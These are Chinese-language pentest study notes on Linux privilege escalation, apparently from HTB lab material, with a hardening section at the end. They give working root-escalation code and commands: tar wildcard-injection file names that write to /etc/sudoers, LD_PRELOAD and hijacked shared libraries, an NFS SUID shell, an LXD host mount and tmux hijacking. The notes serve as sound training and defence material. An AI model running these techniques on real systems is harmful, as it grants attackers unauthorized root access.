🔬
JTZ
  • 启航
    • 💻介绍
    • 🔧路径以及总结
    • 🏆日记
      • 😀2022-12-26
      • 😀2022-11-13
      • 😀2022-11-4
  • 网络&系统
    • 🔧端口&协议
      • NFS 介绍
      • Kerberos 介绍
      • WINRM 介绍
      • Telnet 协议
      • CDN 介绍
      • ICMP 介绍
      • DNS
      • RDP
      • SNMP
      • FTP
      • SMB
      • WMI
      • SSH
    • 🔧计算机网络
      • 计算机网络
        • 什么是网络
          • 什么是网络
          • 什么是交换机
          • 什么是路由器
          • 什么是防火墙
        • Model
          • 什么是TCP/IP模型?什么是OSI模型?
        • IP
          • IP地址
      • 资源
        • Postman
        • 思科模拟器 8.2
        • Cisco Packet Tracer
        • 视频
        • WireShark
      • 协议
        • MAC
        • DHCP
        • 端口转发
        • ARP
        • ICMP
      • 第一章--概述
      • 第二章--物理层
      • 第三章--数据链路层
      • 第四章--网络层
      • 第五章--传输层
      • 第六章--应用层
    • 🔧操作系统
    • 🔧Windows
      • 工具
        • WSL 安装 kail
          • Windows 端口转发 WSL 流量
          • 使用远程桌面连接 kali
        • VMware
        • WizTree
        • Beyond Compare 4
        • 画图软件
        • 记笔记软件
          • Typora 插件
          • Typora 图床
        • 文本编辑器
        • 视频播放器
        • VPN
        • 录屏工具
        • Wise Disk Cleaner
        • WinHex
        • Custom Cursor
        • RAMMap
        • Snipaste
        • PowerTotys
        • 浏览器
          • 浏览器插件
      • Windows
    • 🔧Linux
      • 杂类
        • linux中mnt,media以及dev目录的区别
        • 如何在 SSH 身份验证后运行脚本
        • 探索 Reverse SHELL
        • 恢复文件
        • PID 介绍
        • sudo配置文件/etc/sudoers
        • 定时任务
      • 权限
        • Linux 访问控制列表 (ACL) 简介
      • 目录
        • /mnt
        • /media
        • /etc
        • /usr
        • /proc
      • 工具推荐
        • linux下使用clash(GUI)
        • 终端模拟程序
      • Linux命令
        • 查看文件信息
        • 磁盘信息
      • Linux
  • 工具
    • 🔧端口&服务
      • 22 -- SSH
        • ssh-audit
      • 25/465/587 -- SMTP/s
        • SMTP 命令
        • sendEmail
        • swaks
      • 53 -- DNS
      • 80/443 -- WEB 服务
        • CURL
        • CMS
          • droopescan
          • JoomlaScan
          • WPScan
        • 扫描工具
          • feroxbuster
          • WFUZZ
          • gobuster
          • FFUF
      • 88 tcp/udp -- Kerberos
      • 139/445 -- SMB
        • enum4linux-ng
        • smbClient
        • smbmap
        • rpcclient
      • 873--Rsync
        • Rsync
      • 2049-TCP/UDP-NFS
        • NFS no_root_squash/no_all_squash 错误配置
      • 5985/5986 -- WINRM
        • evil-winrm
        • 内网移动
      • 云服务
        • AWS
    • 端口扫描
      • masscan
      • nmap
        • 研究
        • nmap-common
        • ndiff
        • nping
    • SHELL
      • Windows 交互 SHELL
      • pwncat-cs
      • Netcat
      • MSF
      • Socat
    • 脚本工具包
      • 🔧Impacket
        • Hunting for Impacket
    • 📖字典
      • CEWL
    • 自动化扫描工具
      • nikto
      • SQLMAP
    • 密码&解密&爆破
      • 识别 Hash
        • hash-identifier
        • hashid
      • 破解 Hash
        • John
        • Hashcat
        • Hydra
      • DomainPasswordSpray
    • 渗透框架工具
      • Searchsploit
      • Metasploit
        • Msfvenom
    • 文件
      • Imagemagick
      • Exiftool
    • 开发工具
      • Git
    • 浏览器
      • 浏览器密码&历史等信息
    • crackmapexec
    • OPENSSL
      • Heartbleed
    • 文件隐写术
      • binwalk
      • Exiftool
      • Steghide
    • 频谱分析
  • 🛸权限提升
    • 🔧Active Directory
      • 🦯AD 枚举和攻击 -- 工具
        • BloodHound
        • Kerbrute
    • 🔧Windows
      • 🦯Windows 权限提升工具
    • 🔧Linux
      • 提权
        • Linux 提权思路
        • Linux 提权备忘录
      • 资料
        • Linux 权限: SUID, SGID, sticky
      • 🦯Linux 提权工具
        • 📱Pspy
  • 🕶️HTB 学院
    • SHELLS&Payloads
    • 文件传输
    • 足迹
    • Pivoting &隧道和端口转发
    • 密码攻击
  • 🖥️WEB 渗透测试
    • 命令注入(RCE)
      • 🚚资源
    • 身份验证
    • 信息泄露
      • 信息泄露工具
    • XXE
      • 资源
      • XML 介绍
    • XSS
      • 资源
    • IDOR
    • CORS
      • 资源
    • IDOR
    • SSRF
      • 资源
    • Page 1
    • 目录遍历
    • 访问控制
    • 文件上传
      • 资源
      • WAF 绕过
    • 点击劫持
    • CSRF
      • 资源
        • 同源策略
    • SSTI
      • 资源
    • WebSocket
    • 逻辑缺陷
    • 反序列化
    • 文件包含
      • /proc/self/envirom
    • 文件隐写术
  • 🔧编程语言
    • 编程工具
      • Vs-Code
      • Jetbrains
      • Navicat Premium 15
    • C/C++
      • Linux C 一站式编程学习
    • Java
      • 资源
        • JDK
        • 画类图软件
    • Python
      • 资源
        • Python 环境
        • Python 虚拟环境
    • SHELL 教程
      • SHELL 教程
      • 高级Bash脚本编程指南
      • 1.1 变量
      • 1.2 特殊字符
      • 1.3 正则表达式
      • 1.4 数组
      • 1.5 字符串
      • 1.6 函数
      • 1.7 循环判断
      • 扩展
        • 执行命令
        • 子 SHELL
  • 🔧云开发
    • 🔧Docker
      • 🔧Docker
  • 🔧信息收集
    • 网站内容
    • OSINT
    • 侦查
      • Shodan.io
      • google 语法
    • 子域枚举
      • dig
  • 🔧逆向
    • 工具
      • GDB
        • PEDA
      • ghidra
  • 🔧杂章
    • 杂章
      • 区域传输
      • XFF&Referer
      • VHOST
      • ASN
      • Shadow Defender
      • WinHex
由 GitBook 提供支持
在本页
  • 简介
  • 本地提权技术
  • 1. 内核漏洞利用
  • 2. 易受攻击的服务
  • 3. Cron 作业滥用
  • 4. 特殊权限
  • 5. Sudo 滥用
  • 6. PATH 滥用
  • 7. 通配符滥用
  • 8. 凭据搜索
  • 9. 共享库
  • 10. 共享对象劫持
  • 11. 特权组
  • 12.杂项技术
  • 13. Linux 加固
  • 工具

这有帮助吗?

在GitHub上编辑
  1. 权限提升
  2. Linux
  3. 提权

Linux 提权思路

上一页提权下一页Linux 提权备忘录

最后更新于2年前

这有帮助吗?

简介

  1. 枚举是提权的关键所在,存在多个辅助脚本 : ( ,),

# 查找可写目录
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
# 查找可写文件
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

本地提权技术

1. 内核漏洞利用

各种 Linux 内核版本都存在内核漏洞利用

# 查看内核级别以及 Linux 操作系统版本
uname -a
cat /etc/lsb-release 
# 查找对应的内核漏洞版本利用即可

2. 易受攻击的服务

在目标主机上可能存在被用来权限提升的服务漏洞,我们可以查看对应服务的版本,彬查找到其对应的 exp 利用即可

3. Cron 作业滥用

Cron 作业通常用户管理任务,在利用该作业时,我们可以查找对应的目标人员 (eg: root) 设置的定时任务,查找目标人员设置的定时任务你是不是可以修改,如果可以,对定时任务进行修改以获取更高的权限

在这里我们可以使用 pspy 工具对正在运行的进程进行查看,当然我们也可以使用其他的命令以获取关于定时任务的更多信息

4. 特殊权限

setuid 权限可以允许用户使用另一个用户的权限执行脚本或程序,通常具有提升的权限,该 setuid 位显示为 s

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

setgid 权限是另一个特殊的权限,该权限允许我们运行二进制文件,就好像我们是创建它们的组的一部分一样

find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

5. Sudo 滥用

sudo 权限可以授予一个账号,以允许该账户以 root 权限允许一些命令

# 查看当前用户具有的 sudo 权限,有时候我们可能需要知道用户的密码才能列出 sudo 权限
sudo -l
	Matching Defaults entries for sysadm on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysadm may run the following commands on NIX02:
    (root) NOPASSWD: /usr/sbin/tcpdump

6. PATH 滥用

PATH 是一个环境变量,指定可执行文件所在的目录集

# 查看 PATH 环境变量
echo $PATH

我们可以通过修改用户的 PATH 变量,来使其运行一个二进制文件

# 这个示例是将当前路径加入到 PATH 中。然后在当前路径添加一个 ls 可执行文件,就可以使用 ls
htb_student@NIX02:~$ PATH=.:${PATH}
htb_student@NIX02:~$ export PATH
htb_student@NIX02:~$ echo $PATH
htb_student@NIX02:~$ touch ls
htb_student@NIX02:~$ echo 'echo "PATH ABUSE!!"' > ls
htb_student@NIX02:~$ chmod +x ls
htb_student@NIX02:~$ ls
	PATH ABUSE!!

7. 通配符滥用

这里我们使用 tar 作为解释

htb_student@NIX02:~$ man tar

<SNIP>
Informative output
       --checkpoint[=N]
              每 N 条记录显示进度消息(默认 10)
       --checkpoint-action=ACTION
              在每个检查点上运行 ACTION

--checkpoint-action 选项允许在到达检查点时执行 EXEC 操作(即,在 tar 命令执行后运行任意操作系统命令。)通过使用这些名称创建文件,当指定通配符时,-- checkpoint=1 和 --checkpoint-action=exec=sh root.sh 作为命令行选项传递给 tar,实践如下:

# 创建一个 cron 作业,每分钟备份 /toot 目录内容早 /tmp 中
*/01 * * * * cd /tmp && tar -zcf /tmp/backup.tar.gz *

htb_student@NIX02:~$ echo 'echo "cliff.moore ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
htb_student@NIX02:~$ echo "" > "--checkpoint-action=exec=sh root.sh"
htb_student@NIX02:~$ echo "" > --checkpoint=1

# 当执行后,我们就可以查看是否提升了权限
sudo -l

8. 凭据搜索

在枚举系统时,我们可以在 配置文件、shell 脚本、用户的 bash 历史文件、备份文件、数据库文件甚至是文本文件中查找,这些凭据有助于权限提升

在凭据搜索中,我们也应该尽可能搜索 SSH 密钥文件

 find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null

9. 共享库

Linux 程序通常使用动态连接的共享对象库,库包含编译后的代码或其他数据,在 Linux 中存在两种类型的库: 静态共享库由 .a 文件扩展名表示 和 动态共享对象库由 .so 文件扩展名表示,编译时静态库作为程序的一部分不能改变,但是可以修改动态库以控制调用他们的程序执行。

有多种指定动态库位置的方法,因此系统将知道在程序执行时在哪里寻找它们。 这包括编译程序时的 -rpath 或 -rpath-link 标志,使用环境变量 LD_RUN_PATH 或 LD_LIBRARY_PATH,将库放在 /lib 或 /usr/lib 默认目录中,或指定另一个包含库的目录 /etc/ ld.so.conf 配置文件。

LD_PRELOAD环境变量可以在二进制文件执行前加载库,该库的函数优先于默认函数

# 查看二进制文还能所需的共享对象
htb_student@NIX02:~$ ldd /bin/ls

使用 LD_PRELOAD 权限提升

# 当前用户的权限
htb_student@NIX02:~$ sudo -l

Matching Defaults entries for daniel.carter on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User daniel.carter may run the following commands on NIX02:
    (root) NOPASSWD: /usr/sbin/apache2 restart  # 该用户可以以 root 权限指定 apache 服务器的重启

编写自定义共享库文件并编译

# root.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

# 编译
gcc -fPIC -shared -o root.so root.c -nostartfiles

# 在目标机执行
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

10. 共享对象劫持

我们可以使用 ldd 打印二进制或共享对象所需的共享对象

htb_student@NIX02:~$ ldd payroll
    linux-vdso.so.1 =>  (0x00007ffcb3133000)
    libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)  # 非标准库
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)

在上面的输出中我们发现一个非标准库被列为二进制文件的依赖项,在这里我们可以使用 readelf 进行检查

htb_student@NIX02:~$ readelf -d payroll  | grep PATH
 0x000000000000001d (RUNPATH)            Library runpath: [/development]

该配置允许从所有用户可写的 /development 文件夹加载库,并且在这个文件夹的库优先于其他文件夹。

可以通过在 /development 中放置恶意库来利用此错误配置,这将优先于其他文件夹,因为首先检查此文件中的条目(在配置文件中出现其他文件夹之前)

# 移动共享文件
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so

# 检查共享对象库位置是否发生变化
ldd payroll

# 执行,发现缺少 dbquery
htb_student@NIX02:~$ ./payroll 
	./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery

编译包含 dbquery 函数的共享对象

#  src.c
#include<stdio.h>
#include<stdlib.h>

void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
} 

# 编译
gcc src.c -fPIC -shared -o /development/libshared.so

# 获取 WEBSHELL 
htb_student@NIX02:~$ ./payroll 

***************Inlane Freight Employee Database***************

Malicious library loaded
# id
uid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)

11. 特权组

1. LXC/LXD

LXD 类似于 Docker,是 Ubuntu 的容器管理器,安转后,琐碎又的用户都会添加到 LXD 组,该组的成员可以通过创建 LXD 容器提升权限,使其具有特权

devops@NIX02:~$ id
uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)

# 获取一个 Alpine.zip 解压缩

# 初始化
devops@NIX02:~$ lxd init
# 导入本地镜像
devops@NIX02:~$ lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
# 启动一个容器
devops@NIX02:~$ lxc init alpine r00t -c security.privileged=true
# 挂载主机文件系统
devops@NIX02:~$ lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
# 在容器实例中生成一个 shell 就可以访问 /root
devops@NIX02:~$ lxc start r00t
devops@NIX02:~/64-bit Alpine$ lxc exec r00t /bin/sh
~ # id
uid=0(root) gid=0(root)

2. Docker

将用户置于 docker 组中本质上等同于无需密码即可对文件系统进行 root 级别访问。 docker 组的成员可以生成新的 docker 容器。 一个示例是运行命令 docker run -v /root:/mnt -it ubuntu。 此命令创建一个新的 Docker 实例,其中主机文件系统上的 /root 目录作为卷安装。 一旦容器启动,我们就可以浏览到挂载的目录并为 root 用户检索或添加 SSH 密钥。 这可以用于其他目录,例如 /etc,可用于检索 /etc/shadow 文件的内容以进行离线密码破解或添加特权用户。

3. Disk

磁盘组中的用户可以完全访问 /dev 中包含的任何设备,例如 /dev/sda1,它通常是操作系统使用的主要设备。 拥有这些权限的攻击者可以使用 debugfs 以根级权限访问整个文件系统。 与 Docker 组示例一样,这可用于检索 SSH 密钥、凭据或添加用户。

4.ADM

adm 组的成员能够读取存储在 /var/log 中的所有日志。 这不会直接授予 root 访问权限,但可以用来收集存储在日志文件中的敏感数据或枚举用户操作和运行的 cron 作业。

12.杂项技术

1. 被动流量捕获

2.弱 NFS 权限

网络文件系统 NFS 允许用户通过托管在 Unix/Linux 系统上的网络访问共享文件或目录, NFS 使用 TCP/UDP 端口 2049,可以通过发出命令远程列出任何可访问的挂载

# showmount -e列出了 NFS 客户端的 NFS 服务器的导出列表(或文件系统的访问控制列表)
showmount -e 10.129.2.12
	Export list for 10.129.2.12:
    /tmp             *
    /var/nfs/general *

NFS 的配置文件: /etc/exports

选项
描述

root_squash

如果使用root用户访问NFS共享,则改为该nfsnobody用户,即非特权账户。root 用户创建和上传的任何文件都将归nfsnobody用户所有,这可以防止攻击者上传带有 SUID 位设置的二进制文件。

no_root_squash

以本地 root 用户身份连接到共享的远程用户将能够以 root 用户身份在 NFS 服务器上创建文件。这将允许创建带有 SUID 位集的恶意脚本/程序。

cat /etc/exports
    /var/nfs/general *(rw,no_root_squash)
    /tmp *(rw,no_root_squash)

例如,我们可以创建一个/bin/sh使用本地 root 用户执行的 SETUID 二进制文件。然后我们可以在/tmp本地挂载目录,将 root 拥有的二进制文件复制到 NFS 服务器,并设置 SUID 位。

# 创建一个简单的二进制文件,在本地挂载目录,复制它,并设置必要的权限
# shell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}

htb@NIX02:/tmp$ gcc shell.c -o shell
root@Pwnbox:~$ sudo mount -t nfs 10.129.2.210:/tmp /mnt
root@Pwnbox:~$ cp shell /mnt
root@Pwnbox:~$ chmod u+s /mnt/shell
htb@NIX02:/tmp$ ./shell
root@NIX02:/tmp# id

uid=0(root) gid=0(root) 

3. 劫持 Tmux 会话

用户可能会让tmux进程以特权用户身份运行,例如设置了弱权限的 root,这可能会被劫持。这可以通过以下命令来创建新的共享会话并修改所有权来完成。

htb@NIX02:~$ tmux -S /shareds new -s debugsess
htb@NIX02:~$ chown root:devs /shareds
# 如果我们可以破坏dev组中的用户,我们可以附加到这个会话并获得 root 访问权限
# 检查任何正在运行的tmux进程
htb@NIX02:~$  ps aux | grep tmux

# 确认权限
htb@NIX02:~$ ls -la /shareds 
	srw-rw---- 1 root devs 0 Sep  1 06:27 /shareds
	
# 查看我们的组成员资格
htb@NIX02:~$ id
	uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)

# 最后,附加到tmux会话并确认 root 权限
htb@NIX02:~$ tmux -S /shareds
	id
	uid=0(root) gid=0(root) groups=0(root)

13. Linux 加固

适当的 Linux 加固可以消除大部分本地权限升级的机会

1. 更新和补丁

过时的 Linux 内核和已知易受攻击的内置和第三方服务版本存在许多快速简单的特权升级漏洞

2. 配置管理

  • 审核可写文件和目录以及任何使用 SUID 位设置的二进制文件。

  • 确保任何 cron 作业和 sudo 权限使用绝对路径指定任何二进制文件。

  • 不要将凭据以明文形式存储在全球可读的文件中。

  • 清理主目录和 bash 历史记录。

  • 确保低权限用户无法修改程序调用的任何自定义库。

  • 删除任何可能增加攻击面的不必要的包和服务。

3. 用户管理

限制每个系统上用户账户和管理账户数量并强制执行强密码策略、定期轮换密码以及通过将 /etc/security/opasswd 文件和 PAM 模块一起使用来限制用户重复使用旧密码

4. 审计

克隆整个 repo 后,我们可以通过键入运行该工具./lynis audit system并收到完整的报告。

htb_student@NIX02:~$ ./lynis audit system

# 结果分为:警告、建议、整体扫描细节

工具

https://github.com/wwl012345/Vuln-List

详细介绍 -->

LXD 初始化过程 -->

我们可以使用 tcpdump 来捕获网络流量,包括在某些情况下以明文形式传递的凭据,存在多种工具:和 可以用于检查线路上传递的数据,

考虑实施,它在系统上提供额外的访问控制。

、、和等配置管理自动化工具的模板可以自动执行此类检查,并可用于将消息推送到 Slack 频道或邮箱,以及通过其他方法。远程操作 (Zabbix) 和补救操作 (Nagios) 可用于在一组节点上查找并自动更正这些问题。Zabbix 等工具还具有校验和验证等功能,可用于版本控制和确认敏感二进制文件未被篡改。例如,通过文件。

利用工具 审计基于 Unix 的系统,该工具审核系统的当前配置并提供额外的强化提示,同时考虑到各种标准。它可供系统管理员等内部团队以及第三方(审计员和渗透测试员)使用,以获取系统当前安全配置的“基线”

🛸
🔧
LinEnum
PEASS
链接
参考文章
net-creds
PCredz
SELinux
Puppet
SaltStack
Zabbix
Nagios
vfs.file.cksum
Lynis